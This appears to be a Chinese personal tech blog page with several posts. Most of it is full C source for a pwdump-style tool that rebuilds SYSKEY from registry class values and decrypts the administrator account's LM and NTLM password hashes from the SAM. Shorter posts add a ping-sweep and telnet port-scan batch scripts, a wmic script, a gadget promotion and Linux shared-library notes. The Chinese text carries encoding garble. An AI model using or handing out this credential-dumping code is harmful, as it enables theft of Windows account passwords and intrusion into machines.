                下面就是給出的完全實(shí)現(xiàn)計(jì)算SYSKEY-》sampsecretsessionkey,對(duì)特定用戶的SAM中加密的密碼散列再解密的代碼:當(dāng)然如果從運(yùn)行系統(tǒng)中解密散列也可以直接讀取sampsecretsessionkey,就象PWDUMP3那樣做的一樣也是可以的,但是如果要實(shí)現(xiàn)離線的就還需要再分析更多的東西。
                另外關(guān)于PWDUMP具體的方法,由于其是加密和反跟蹤的,我沒(méi)時(shí)間做仔細(xì)調(diào)式分析,但是從REGMON監(jiān)視其注冊(cè)表操作的過(guò)程來(lái)說(shuō),是沒(méi)有去讀LSA下的任何東西的,因此可以斷定他是直接獲得ampsecretsessionkey來(lái)進(jìn)行對(duì)SAM內(nèi)容的解密到散列的。

            //下面幾個(gè)函數(shù)的實(shí)現(xiàn),DES相關(guān)的盒,ECB等的定義參考我以前發(fā)的文章 中的代碼,這里不再給出
            //void deskey(char * LmPass,unsigned char * desecb)
            //void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
            //void md5init(unsigned char * LM);
            //void md5final(unsigned char * LM);
            //void initLMP(char * pass,unsigned char * LM);
            //以前給出的des函數(shù)的實(shí)現(xiàn)沒(méi)有解密的部分,并且有個(gè)小錯(cuò)誤,因此這里再給出完整的一個(gè)

            #include <stdio.h>
            #include <windows.h>
            #include "des.h"

            void getsyskey(unsigned char * syskey);
            void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
            void md5init(unsigned char * LM);
            void md5final(unsigned char * LM);
            void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
            void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
            void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
            void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
            void initLMP(char * pass,unsigned char * LM);
            void deskey(char * LmPass,unsigned char * desecb);
            void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);

            void main()
            {
                int i;
                //下面為了簡(jiǎn)單,這3個(gè)是直接指定的用戶,相對(duì)SID的注冊(cè)表鍵名和相對(duì)SID,大家也可以寫成完全根據(jù)用戶名獲取的方式
                char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
                char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
                unsigned long uid=0x1F4;
                unsigned char syskey[0x10];
                unsigned char ensamnt[0x10];
                unsigned char ensamlm[0x10];
                unsigned char sessionkey[0x10];
                unsigned char buf[0x400];
                unsigned char sampsecretsessionkey[0x10];
                unsigned char lmhash[0x10];
                unsigned char nthash[0x10];
                unsigned char fkey[0x30];
                unsigned long ss;
                DWORD regtype;
                DWORD regint;
                unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};

                HKEY hkResult;
                HKEY hkResult1;
                //SAM中的鍵讀取先要提升自己成為L(zhǎng)OCASYSTEM權(quán)限,這里并沒(méi)有實(shí)現(xiàn),自己增加其中的代碼
                //讀出F鍵中用于計(jì)算
                regint=0x400;
                ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
                if(ss!=0)
                    printf("no Privilege!\n");
                ss=RegQueryValueEx(hkResult,"F", NULL,&regtype,buf,&regint);
                for(i=regint-1;i>=0;i--)
                    if(buf[i]!=0)
                        break;
                memcpy(fkey,buf+i-0x2f,0x30);
                ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
                //檢查此用戶是否存在
                if(ss!=ERROR_SUCCESS)
                    return;
                //讀取該用戶下的V鍵中加密的散列信息
                //由于目前還未解析V中的結(jié)構(gòu),我們就直接讀最后的那一串,一般都是如此存放在此
                //但也不排除例外,那就需要具體分析V中的結(jié)構(gòu)來(lái)計(jì)算了
                regint=0x400;
                ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
                ss=RegQueryValueEx(hkResult,"V", NULL,&regtype,buf,&regint);
                memcpy(ensamnt,buf+regint-0x18,0x10);
                memcpy(ensamlm,buf+regint-0x2c,0x10);
                
                //計(jì)算SYSKEY,W2K系統(tǒng)默認(rèn)SYSKEY使用,且成為其固定的一個(gè)組件
                getsyskey(syskey);
                //利用SYSKEY,F(xiàn)鍵中的KEY計(jì)算sampsecretsessionkey
                getsampsecretsessionkey(syskey,fkey);
                memcpy(sampsecretsessionkey,fkey+0x10,0x10);
                //上面的就是系統(tǒng)引導(dǎo)時(shí)完成的工作,這個(gè)sampsecretsessionkey固定保存在LSASS的進(jìn)程空間內(nèi)
                //當(dāng)認(rèn)證等或如PWDUMP3工作時(shí)候,就是先從系統(tǒng)中直接讀sampsecretsessionkey再進(jìn)行處理

                //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對(duì)LM散列的
                getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
                memcpy(lmhash,ensamlm,0x10);
                //利用SESSIONKEY,SAM中加密的LM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
                getsamhash(lmhash,sessionkey,&uid);
                printf("HASH::");
                for(i=0;i<0x10;i++)
                    printf("%02x",lmhash[i]);
                printf(":");
                //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對(duì)NTLM散列的
                getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
                memcpy(nthash,ensamnt,0x10);
                //利用SESSIONKEY,SAM中加密的NTLM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
                getsamhash(nthash,sessionkey,&uid);
                for(i=0;i<0x10;i++)
                    printf("%02x",nthash[i]);
                printf("\n");
            }

            void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
            {
                //利用SESSIONKEY,SAM中加密的LM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
                unsigned char desecb[128];
                unsigned char rc4keylist[0x102];
                unsigned char LM[0x10];
                unsigned char p1[0xe];
                unsigned char p2[0x10];
                memcpy(p1,uid,4);
                memcpy(p1+4,uid,4);
                memcpy(p1+8,uid,4);
                memcpy(p1+0xc,uid,2);
                //上面是用SID填充DESECB的KEY
                rc4_key(rc4keylist,sessionkey,0x10);
                rc4_2bc6(rc4keylist,0x10,ensaminfo);
                //RC4處理一次再用DES解密
                initLMP(p1,LM);
                deskey(LM,desecb);
                des(p2,ensaminfo,desecb,0);
                initLMP(p1+7,LM);
                deskey(LM,desecb);
                des(p2+8,ensaminfo+8,desecb,0);
                memcpy(ensaminfo,p2,0x10);
            }

            void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
            {
                //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,MD5生成SESSIONKEY
                unsigned char LM[0x58];
                int len,i;

                md5init(LM);
                for(i=0;i<20;i++)
                    if(passwordtype[i]==0)
                        break;
                len=i+1;
                memcpy(LM+0x18,sampsskey,0x10);
                memcpy(LM+0x28,(unsigned char *)uid,4);
                memcpy(LM+0x2c,passwordtype,len);
                memset(LM+0x2c+len,0x80,1);
                memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
                *(DWORD *)LM=0x200;
                *(DWORD *)(LM+0X50)=0xF8;
                md5final(LM);
                memcpy(sessionkey,LM+8,0x10);
            }

            void getsyskey(unsigned char * syskey)
            {
                unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
                    0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};  
                //換位表
                unsigned char syskey1[0x10];
                HKEY hkResult;
                HKEY hkResult1;
                int i,j;
                long ss;
                unsigned char classinfo[0x10];
                DWORD c1;

                ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
                if(ss!=ERROR_SUCCESS)
                    return;
                ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
                i=0;
                memset(syskey1,0,0x10);
                c1=0x10;
                if(ss==ERROR_SUCCESS)
                {
                    ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
                    RegCloseKey(hkResult1);
                    if(ss==ERROR_SUCCESS)
                    {
                        printf("%s\n",classinfo);
                        for(j=0;j<8;j++)
                        {
                            if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                                classinfo[j]=classinfo[j]-0x30;
                            else if(classinfo[j]>='a' && classinfo[j]<='f')
                                classinfo[j]=classinfo[j]-'a'+0xa;
                            else if(classinfo[j]>='A' && classinfo[j]<='F')
                                classinfo[j]=classinfo[j]-'A'+0xa;
                            else
                                return;
                        }
                        syskey1[i+0]=16*classinfo[0]+classinfo[1];
                        syskey1[i+1]=16*classinfo[2]+classinfo[3];
                        syskey1[i+2]=16*classinfo[4]+classinfo[5];
                        syskey1[i+3]=16*classinfo[6]+classinfo[7];
                        i=i+4;
                    }
                }
                c1=0x10;
                ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
                if(ss==ERROR_SUCCESS)
                {
                    ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
                    RegCloseKey(hkResult1);
                    if(ss==ERROR_SUCCESS)
                    {
                        printf("%s\n",classinfo);
                        for(j=0;j<8;j++)
                        {
                            if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                                classinfo[j]=classinfo[j]-0x30;
                            else if(classinfo[j]>='a' && classinfo[j]<='f')
                                classinfo[j]=classinfo[j]-'a'+0xa;
                            else if(classinfo[j]>='A' && classinfo[j]<='F')
                                classinfo[j]=classinfo[j]-'A'+0xa;
                            else
                                return;
                        }
                        syskey1[i+0]=16*classinfo[0]+classinfo[1];
                        syskey1[i+1]=16*classinfo[2]+classinfo[3];
                        syskey1[i+2]=16*classinfo[4]+classinfo[5];
                        syskey1[i+3]=16*classinfo[6]+classinfo[7];
                        i=i+4;
                    }
                }
                c1=0x10;
                ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
                if(ss==ERROR_SUCCESS)
                {
                    ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
                    RegCloseKey(hkResult1);
                    if(ss==ERROR_SUCCESS)
                    {
                        printf("%s\n",classinfo);
                        for(j=0;j<8;j++)
                        {
                            if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                                classinfo[j]=classinfo[j]-0x30;
                            else if(classinfo[j]>='a' && classinfo[j]<='f')
                                classinfo[j]=classinfo[j]-'a'+0xa;
                            else if(classinfo[j]>='A' && classinfo[j]<='F')
                                classinfo[j]=classinfo[j]-'A'+0xa;
                            else
                                return;
                        }
                        syskey1[i+0]=16*classinfo[0]+classinfo[1];
                        syskey1[i+1]=16*classinfo[2]+classinfo[3];
                        syskey1[i+2]=16*classinfo[4]+classinfo[5];
                        syskey1[i+3]=16*classinfo[6]+classinfo[7];
                        i=i+4;
                    }
                }
                c1=0x10;
                ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
                if(ss==ERROR_SUCCESS)
                {
                    ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
                    RegCloseKey(hkResult1);
                    if(ss==ERROR_SUCCESS)
                    {
                        printf("%s\n",classinfo);
                        for(j=0;j<8;j++)
                        {
                            if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                                classinfo[j]=classinfo[j]-0x30;
                            else if(classinfo[j]>='a' && classinfo[j]<='f')
                                classinfo[j]=classinfo[j]-'a'+0xa;
                            else if(classinfo[j]>='A' && classinfo[j]<='F')
                                classinfo[j]=classinfo[j]-'A'+0xa;
                            else
                                return;
                        }
                        syskey1[i+0]=16*classinfo[0]+classinfo[1];
                        syskey1[i+1]=16*classinfo[2]+classinfo[3];
                        syskey1[i+2]=16*classinfo[4]+classinfo[5];
                        syskey1[i+3]=16*classinfo[6]+classinfo[7];
                        i=i+4;
                    }
                }
                //這4個(gè)鍵的CLASS值組合起來(lái)做換位就是MS的SYSKEY了
                for(i=0;i<0x10;i++)
                {
                    syskey[keyselect[i]]=syskey1[i];
                }
                for(i=0;i<0x10;i++)
                    printf("0x%02x ",syskey[i]);
                printf("\n");
            }

            void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
            {
                unsigned char LM[0x58];
                unsigned char rc4keylist[0x102];
                char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
                char m2[]="0123456789012345678901234567890123456789";

                md5init(LM);
                memcpy(LM+0x18,fkey,0x10);
                memcpy(LM+0x28,m1,0x2f);
                memcpy(LM+0x57,syskey,1);
                *(DWORD *)LM=0x278;
                md5final(LM);
                memcpy(LM+0x18,syskey+1,0xf);
                memcpy(LM+0x27,m2,0x29);
                *(DWORD *)LM=0x5c0;
                memset(LM+0x50,0x80,1);
                memset(LM+0x51,0,7);
                md5final(LM);
                *(DWORD *)LM=0x600;
                memset(LM+0x18,0,0x38);
                *(DWORD *)(LM+0x50)=0x3c0;
                *(DWORD *)(LM+0x54)=0;
                md5final(LM);
                rc4_key(rc4keylist,LM+8,0x10);
                rc4_2bc6(rc4keylist,0x20,fkey+0x10);
                //這里生成在fkey中的前0X10字節(jié)就是sampsecretsessionkey
                md5init(LM);
                memcpy(LM+0x18,fkey+0x10,0x10);
                memcpy(LM+0x28,m2,0x29);
                memcpy(LM+0x51,fkey+0x10,0x7);
                *(DWORD *)LM=0x248;
                md5final(LM);
                memcpy(LM+0x18,fkey+0x17,0x9);
                memcpy(LM+0x21,m1,0x2f);
                memset(LM+0x50,0x80,1);
                memset(LM+0x51,0,7);
                *(DWORD *)LM=0x5c0;
                md5final(LM);
                memset(LM+0x18,0,0x40);
                *(DWORD *)LM=0x600;
                *(DWORD *)(LM+0x50)=0x3c0;
                *(DWORD *)(LM+0x54)=0;
                md5final(LM);
            }

            void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
            {
                unsigned long c1;
                unsigned char d1,b1,a1;
                int i;
                c1=rc4keylist[0x100];
                d1=rc4keylist[0x101];
                for(i=0;i<keylen;i++)
                {
                    c1=c1++;
                    c1=c1%256;
                    a1=rc4keylist[c1];
                    d1=d1+a1;
                    b1=rc4keylist[d1];
                    rc4keylist[c1]=b1;
                    rc4keylist[d1]=a1;
                    a1=a1+b1;
                    b1=key[i];
                    a1=rc4keylist[a1];
                    b1=b1^a1;
                    key[i]=b1;
                }
            }


            void des(unsigned char * LM,char * magic,unsigned char * ecb,long no)
            {
                DWORD d1,d2,d3,d4;
                DWORD a1,a2,a3;
                int i;
                d1= *(DWORD *)magic;
                d2= *(DWORD *)(magic+4);
                d1 = (d1<<4)|(d1>>0x1c);
                d3 = d1;
                d1 = (d1^d2)&0xf0f0f0f0;
                d3 = d3^d1;
                d2 = d2^d1;
                d2 =(d2<<0x14)|(d2>>0xc);
                d1 = d2;
                d2 = (d2^d3)&0xfff0000f;
                d1 = d1 ^ d2;
                d3 = d3^d2;
                d1 = (d1<<0xe)|(d1>>0x12);
                d2 = d1;
                d1 = (d1 ^ d3) & 0x33333333;
                d2 = d2 ^ d1;
                d3 = d3^d1;
                d3 = (d3<<0x16)|(d3>>0xa);
                d1 = d3;
                d3 = (d3 ^ d2)&0x3fc03fc;
                d1 = d1^d3;
                d2 = d2^d3;
                d1 = (d1<<9)|(d1>>0x17);
                d3 = d1;
                d1 = (d1^d2)&0xaaaaaaaa;
                d3 = d3^d1;
                d2 = d2^d1;
                d2 = (d2<<1)|(d2>>0x1f);
                if(no!=0)
                {
                    for(i=0;i<8;i++)
                    {
                        a1=0;
                        d1=*(DWORD *)(ecb+16*i);
                        d4=*(DWORD *)(ecb+16*i+4);
                        d1=(d1^d3)&0xfcfcfcfc;
                        d4=(d4^d3)&0xcfcfcfcf;
                        a1=d1&0xff;
                        a2=(d1>>8)&0xff;
                        d4=(d4>>4)|(d4<<0x1c);
                        a3=DESSpBox1[a1/4];
                        a1=d4&0xff;
                        d2=d2^a3;
                        a3=DESSpBox3[a2/4];
                        d2=d2^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1>>0x10;
                        a3=DESSpBox2[a1/4];
                        d2=d2^a3;
                        a1=(d1>>8)&0xff;
                        d4=d4>>0x10;
                        a3=DESSpBox4[a2/4];
                        d2=d2^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1&0xff;
                        d4=d4&0xff;
                        a1=DESSpBox7[a1/4];
                        d2=d2^a1;
                        a1=DESSpBox8[a2/4];
                        d2=d2^a1;
                        a1=DESSpBox5[d1/4];
                        d2=d2^a1;
                        a1=DESSpBox6[d4/4];
                        d2=d2^a1;

                        a1=0;
                        d1=*(DWORD *)(ecb+16*i+8);
                        d4=*(DWORD *)(ecb+16*i+0xc);
                        d1=(d1^d2)&0xfcfcfcfc;
                        d4=(d4^d2)&0xcfcfcfcf;
                        a1=d1&0xff;
                        a2=(d1>>8)&0xff;
                        d4=(d4>>4)|(d4<<0x1c);
                        a3=DESSpBox1[a1/4];
                        a1=d4&0xff;
                        d3=d3^a3;
                        a3=DESSpBox3[a2/4];
                        d3=d3^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1>>0x10;
                        a3=DESSpBox2[a1/4];
                        d3=d3^a3;
                        a1=(d1>>8)&0xff;
                        d4=d4>>0x10;
                        a3=DESSpBox4[a2/4];
                        d3=d3^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1&0xff;
                        d4=d4&0xff;
                        a1=DESSpBox7[a1/4];
                        d3=d3^a1;
                        a1=DESSpBox8[a2/4];
                        d3=d3^a1;
                        a1=DESSpBox5[d1/4];
                        d3=d3^a1;
                        a1=DESSpBox6[d4/4];
                        d3=d3^a1;
                    }
                    d3=(d3>>1)|(d3<<0x1f);
                    d1=d2;
                    d2=(d2^d3)&0XAAAAAAAA;
                    d1=d1^d2;
                    d3=d3^d2;
                    d1=(d1<<0x17)|(d1>>9);
                    d2=d1;
                    d1=(d1^d3)&0x3fc03fc;
                    d2=(d2^d1);
                    d3=d3^d1;
                    d2=(d2<<0xa)|(d2>>0x16);
                    d1=d2;
                    d2=(d2^d3)&0x33333333;
                    d1=d1^d2;
                    d3=d3^d2;
                    d3=(d3<<0x12)|(d3>>0xe);
                    d2=d3;
                    d3=(d3^d1)&0xfff0000f;
                    d2=d2^d3;
                    d1=d1^d3;
                    d2=(d2<<0xc)|(d2>>0x14);
                    d3=d2;
                    d2=(d2^d1)&0xf0f0f0f0;
                    d3=d3^d2;
                    d1=d1^d2;
                    d1=(d1>>4)|(d1<<0x1c);
                    *(DWORD *)LM=d1;
                    *(DWORD *)(LM+4)=d3;
                }
                else
                {
                    for(i=7;i>=0;i--)
                    {
                        a1=0;
                        d1=*(DWORD *)(ecb+16*i+8);
                        d4=*(DWORD *)(ecb+16*i+0xc);
                        d1=(d1^d3)&0xfcfcfcfc;
                        d4=(d4^d3)&0xcfcfcfcf;
                        a1=d1&0xff;
                        a2=(d1>>8)&0xff;
                        d4=(d4>>4)|(d4<<0x1c);
                        a3=DESSpBox1[a1/4];
                        a1=d4&0xff;
                        d2=d2^a3;
                        a3=DESSpBox3[a2/4];
                        d2=d2^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1>>0x10;
                        a3=DESSpBox2[a1/4];
                        d2=d2^a3;
                        a1=(d1>>8)&0xff;
                        d4=d4>>0x10;
                        a3=DESSpBox4[a2/4];
                        d2=d2^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1&0xff;
                        d4=d4&0xff;
                        a1=DESSpBox7[a1/4];
                        d2=d2^a1;
                        a1=DESSpBox8[a2/4];
                        d2=d2^a1;
                        a1=DESSpBox5[d1/4];
                        d2=d2^a1;
                        a1=DESSpBox6[d4/4];
                        d2=d2^a1;

                        a1=0;
                        d1=*(DWORD *)(ecb+16*i+0);
                        d4=*(DWORD *)(ecb+16*i+0x4);
                        d1=(d1^d2)&0xfcfcfcfc;
                        d4=(d4^d2)&0xcfcfcfcf;
                        a1=d1&0xff;
                        a2=(d1>>8)&0xff;
                        d4=(d4>>4)|(d4<<0x1c);
                        a3=DESSpBox1[a1/4];
                        a1=d4&0xff;
                        d3=d3^a3;
                        a3=DESSpBox3[a2/4];
                        d3=d3^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1>>0x10;
                        a3=DESSpBox2[a1/4];
                        d3=d3^a3;
                        a1=(d1>>8)&0xff;
                        d4=d4>>0x10;
                        a3=DESSpBox4[a2/4];
                        d3=d3^a3;
                        a2=(d4>>8)&0xff;
                        d1=d1&0xff;
                        d4=d4&0xff;
                        a1=DESSpBox7[a1/4];
                        d3=d3^a1;
                        a1=DESSpBox8[a2/4];
                        d3=d3^a1;
                        a1=DESSpBox5[d1/4];
                        d3=d3^a1;
                        a1=DESSpBox6[d4/4];
                        d3=d3^a1;
                    }
                    d3=(d3>>1)|(d3<<0x1f);
                    d1=d2;
                    d2=(d2^d3)&0XAAAAAAAA;
                    d1=d1^d2;
                    d3=d3^d2;
                    d1=(d1<<0x17)|(d1>>9);
                    d2=d1;
                    d1=(d1^d3)&0x3fc03fc;
                    d2=(d2^d1);
                    d3=d3^d1;
                    d2=(d2<<0xa)|(d2>>0x16);
                    d1=d2;
                    d2=(d2^d3)&0x33333333;
                    d1=d1^d2;
                    d3=d3^d2;
                    d3=(d3<<0x12)|(d3>>0xe);
                    d2=d3;
                    d3=(d3^d1)&0xfff0000f;
                    d2=d2^d3;
                    d1=d1^d3;
                    d2=(d2<<0xc)|(d2>>0x14);
                    d3=d2;
                    d2=(d2^d1)&0xf0f0f0f0;
                    d3=d3^d2;
                    d1=d1^d2;
                    d1=(d1>>4)|(d1<<0x1c);
                    *(DWORD *)LM=d1;
                    *(DWORD *)(LM+4)=d3;
                }
            }

            posted @ 2013-02-11 10:46 tqsheng 閱讀(399) | 評(píng)論 (0)編輯 收藏

            建自已的blog

            http://perldancer.org/
            http://www.wpcourse.com/tag/wordpress%E5%8D%9A%E5%AE%A2
            http://codex.wordpress.org/zh-cn:Main_Page
            http://www.enet.com.cn/eschool/video/wordpresscp/
            鬼仔的blog

            posted @ 2013-02-02 17:36 tqsheng 閱讀(300) | 評(píng)論 (0)編輯 收藏

            free

            http://getripz.pl/
            http://www.downloader.my/downloader

            posted @ 2013-01-31 11:07 tqsheng 閱讀(243) | 評(píng)論 (0)編輯 收藏

            ping網(wǎng)段并記錄

            :ping網(wǎng)段并記錄
            @echo off

            if [%1]==[] (Goto :Start) else (Goto :Ping) 

            :Start
                    echo.ScanTime:%time%>ip.txt&&set "ip=61.149.20"
                    for /L %%i in (1,1,254) do Start %~s0 %ip%.%%i        
                    Goto :eof

            :Ping
                    ping %1 -n 1 -w 1 >nul&&echo %1 - OK!>>ip.txt
                    exit

            @echo off
            echo                         -----------------------------
            echo                              請(qǐng)選擇你所掃描的類型
            echo                         ----------------------------- 
            echo . 
            echo                  [A] :IP段掃描           [B] :精確IP及端口掃描
            :x
            set /p choice="請(qǐng)輸入掃描類型:A or B :"
            if /i %choice%==a goto ipduan else goto y
            :y
            if /i %choice%==b goto ip else goto x
            :ipduan
            echo 進(jìn)入IP段掃描模式:
            set /p ipa="輸入掃描的ip段前三段(例如:192.168.1):"
            set /p port="輸入要掃描的端口:"
            for /l %%i in (1,1,255) do (telnet %ipa%.%%i %port%)

            :ip
            echo 進(jìn)入精確掃描模式:
            set /p ipa="輸入掃描的ip:(例如:192.168.0.1)"
            set /p port1="輸入要掃描的開(kāi)始端口:"
            set /p port2="輸入要掃描的結(jié)束端口:"
            for /l %%i in (%port1%,1,%port2%) do (telnet %ipa% %%i)
            pause>nul 

            誰(shuí)能幫我找個(gè)工具或者做個(gè) .bat代碼實(shí)現(xiàn)以下需求 我要批量PING 服務(wù)器

            2011-01-17 19:05 提問(wèn)者: sean027 |瀏覽次數(shù):419次
            誰(shuí)能幫我找個(gè)工具或者做個(gè) .bat代碼實(shí)現(xiàn)以下需求 我要批量PING 服務(wù)器,查看PING直。【最好是ping 10 次的平均值,和掉包率,不通最好也顯示】 最好是那種我導(dǎo)入TXT文件后出來(lái)一個(gè)TXT文件結(jié)果的。。大俠們 幫幫忙哦~!!!!

            我并非問(wèn)的是同一網(wǎng)段的IP哦,不是掃描軟件那種 192.168.0.1 - 192.168.0.255 這樣的,而是我有很多根本就完全不同的IP地址批量PING 沒(méi)規(guī)則 只能導(dǎo)入文件給IP表

            問(wèn)題補(bǔ)充:

            代碼不對(duì)啊 不起作用,你本機(jī)試一試~~
            我來(lái)幫他解答
            滿意回答
            2011-01-19 15:21
            新建兩個(gè)文本文件,一個(gè)保存為test.bat,一個(gè)保存為test.txt,兩文件保存在一個(gè)文件夾下
            test.txt的內(nèi)容
            192.168.0.29
            127.1

            test.bat的內(nèi)容
            @echo off
            echo 正在ping網(wǎng)址,請(qǐng)稍候……
            for /f %%i in (test.txt) do ping %%i /n 10 >>hello.txt
            start "" "hello.txt"
            ping 127.1 /n 3 >nul
            del /f /q hello.txt
            pause

            posted @ 2013-01-16 10:37 tqsheng 閱讀(350) | 評(píng)論 (0)編輯 收藏

            Bat文件修改環(huán)境變量 創(chuàng)建桌面快捷方式

            Bat文件修改環(huán)境變量

            1. @echo off
            2. wmic ENVIRONMENT create name="TOMCAT_HOME",username="<system>",VariableValue="D:\Tomcat5.5"
            3. pause
            @echo off wmic ENVIRONMENT create name="TOMCAT_HOME",username="<system>",VariableValue="D:\Tomcat5.5" pause

            創(chuàng)建桌面快捷方式

            1. @echo off
            2. ECHO [InternetShortcut]>> google.url
            3. ECHO URL=http://www.google.com>> google.url

            posted @ 2013-01-14 14:03 tqsheng 閱讀(981) | 評(píng)論 (0)編輯 收藏

            比Kinect精確200倍的體感設(shè)備,Leap motion高精度追蹤器 $69.99

            比Kinect精確200倍的體感設(shè)備,Leap motion高精度追蹤器 $69.99


            當(dāng)Holz還在 UNC(北卡羅來(lái)納大學(xué))攻讀數(shù)學(xué) Phd、研究流體力學(xué)時(shí),發(fā)現(xiàn)用鼠標(biāo)和鍵盤來(lái)創(chuàng)建、控制 3D 模型非常麻煩,因?yàn)闀?huì)有許多不必要的復(fù)雜操作(點(diǎn)擊、下拉菜單等)。于是他就希望創(chuàng)造一種「能讓虛擬建模和現(xiàn)實(shí)建模一樣方便」的技術(shù)。在 4 年的研究和無(wú)數(shù)的硬件更迭后,Leap 終于誕生了。

            kinect面世后,leap motion的出現(xiàn)成為人機(jī)交互的一大熱點(diǎn)。這個(gè)通過(guò)紅外 LED 和攝像頭以不同于其他運(yùn)動(dòng)控制技術(shù)的方式來(lái)完成對(duì)手指的追蹤,其有效精確度達(dá)到了0.01mm。同時(shí),這種全新的動(dòng)作感應(yīng)方式也使得Leap 造價(jià)低廉、體積小巧的原因,通過(guò)其提供的兩個(gè)U盤大小的程序,可以形成一個(gè)8立方英尺的感應(yīng)空間,用戶在這個(gè)空間內(nèi)可以任意活動(dòng),系統(tǒng)會(huì)準(zhǔn)確追蹤。更詳細(xì)的內(nèi)容,看看癮科技的介紹吧!

            leap motion官網(wǎng)目前可以預(yù)定,鏈接在此;售價(jià)$69.99,運(yùn)費(fèi)$5.99。收貨地址可以選擇中國(guó)。不知道到選擇中國(guó)會(huì)不會(huì)發(fā)貨。

            posted @ 2013-01-06 12:28 tqsheng 閱讀(496) | 評(píng)論 (0)編輯 收藏

            linux下so動(dòng)態(tài)庫(kù)一些不為人知的秘密(中) 2

             繼續(xù)上一篇《 linux下so動(dòng)態(tài)庫(kù)一些不為人知的秘密(中) 》介紹so搜索路徑,還有一個(gè)類似于-path,叫LD_RUN_PATH環(huán)境變量, 它也是把路徑編譯進(jìn)可執(zhí)行文件內(nèi),不同的是它只設(shè)置RPATH。
            [stevenrao] $ g++ -o demo -L /tmp/ -ltmp main.cpp
            [stevenrao] $ readelf -d demo
            Dynamic section at offset 0xb98 contains 25 entries:
            Tag Type Name/Value
            0x0000000000000001 (NEEDED) Shared library: [libtmp.so]
            ....
            0x000000000000000f (RPATH) Library rpath: [/tmp/]

            另外還可以通過(guò)配置/etc/ld.so.conf,在其中加入一行
            /tmp/
            這個(gè)配置項(xiàng)也是只對(duì)運(yùn)行期有效,并且是全局用戶都生效,需要root權(quán)限修改,修改完后需要使用命令ldconfig /etc/ld.so.conf 加載到ld.so.cache中,避免重啟系統(tǒng)就可以立即生效。
            除了前面介紹的那些搜索路徑外,還有缺省搜索路徑/usr/lib/ /lib/ 目錄,可以通過(guò)-z nodefaultlib編譯選項(xiàng)禁止搜索缺省路徑。
            [stevenrao] $ g++ -o demo -z nodefaultlib -L/tmp -ltmp main.cpp
            [stevenrao] $ ./demo
            ./demo: error while loading shared libraries: libstdc++.so.6: cannot open shared object file

            這么多搜索路徑,他們有個(gè)先后順序如下
            1、RUMPATH 優(yōu)先級(jí)最高
            2、RPATH 其次
            3、LD_LIBRARY_PATH
            4、/etc/ld.so.cache
            5、/usr/lib/ /lib/

            查看一個(gè)程序搜索其各個(gè)動(dòng)態(tài)庫(kù)另一個(gè)簡(jiǎn)單的辦法是使用 LD_DEBUG這個(gè)環(huán)境變量;
            [stevenrao] $ export LD_DEBUG=libs
            [stevenrao] $ ./demo
            下一篇介紹動(dòng)態(tài)庫(kù)內(nèi)符號(hào)問(wèn)題

            posted @ 2013-01-04 16:59 tqsheng 閱讀(216) | 評(píng)論 (0)編輯 收藏

            linux下so動(dòng)態(tài)庫(kù)一些不為人知的秘密2

